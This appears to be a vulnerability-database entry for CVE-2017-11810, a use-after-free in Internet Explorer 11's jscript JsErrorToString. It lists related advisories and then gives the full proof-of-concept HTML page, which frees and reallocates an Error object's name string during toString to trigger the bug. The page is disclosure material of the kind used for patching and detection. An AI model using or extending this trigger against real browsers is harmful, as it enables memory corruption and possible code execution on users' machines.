Microsoft IE11: use-after-free in jscript!JsErrorToString(CVE-2017-11810)

🗓️ 16 Nov 2017 00:00:00Reported by RootType

Microsoft IE11 use-after-free in jscript!JsErrorToString(CVE-2017-11810) heap overflo

Reporter	Title	Published	Views	Family All 81
0day.today	Microsoft Internet Explorer 11 jscript!JsErrorToString Use-After-Free Exploit	11 Nov 201700:00	–	zdt
ATTACKERKB	CVE-2017-11821	13 Oct 201713:29	–	attackerkb
ATTACKERKB	CVE-2017-11812	13 Oct 201713:29	–	attackerkb
ATTACKERKB	CVE-2017-11811	13 Oct 201713:29	–	attackerkb
ATTACKERKB	CVE-2017-11810	13 Oct 201713:29	–	attackerkb
ATTACKERKB	CVE-2017-11809	13 Oct 201713:29	–	attackerkb
BDU FSTEC	The vulnerability of the Internet Explorer browser, related to improper handling of objects in memory, allows a malicious actor to execute arbitrary code.	10 Nov 201700:00	–	bdu_fstec
Circl	CVE-2017-11810	9 Nov 201700:00	–	circl
CNVD	Microsoft Internet Explorer scripting engine memory corruption vulnerability	11 Oct 201700:00	–	cnvd
Check Point Advisories	Microsoft Internet Explorer Scripting Engine Memory Corruption (CVE-2017-11810)	10 Oct 201700:00	–	checkpoint_advisories


                                                <!-- saved from url=(0014)about:internet -->
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
</head>
<body>
<script language="Jscript.Encode">

var e = new Error();

var o = {toString:function() {
  //alert('in toString');
  e.name = 1;
  CollectGarbage();

  //reallocate
  for(var i=0;i<100;i++) {
    e.name = {};
  }

  return 'b';
}};

e.name = Array(1000).join('a');
e.message = o;
//alert('calling JsErrorToString');
var result = e.toString();
//alert('boom');
alert(result);

</script>
</body>
</html>

16 Nov 2017 00:00Current

7.9High risk

Vulners AI Score7.9

EPSS0.5389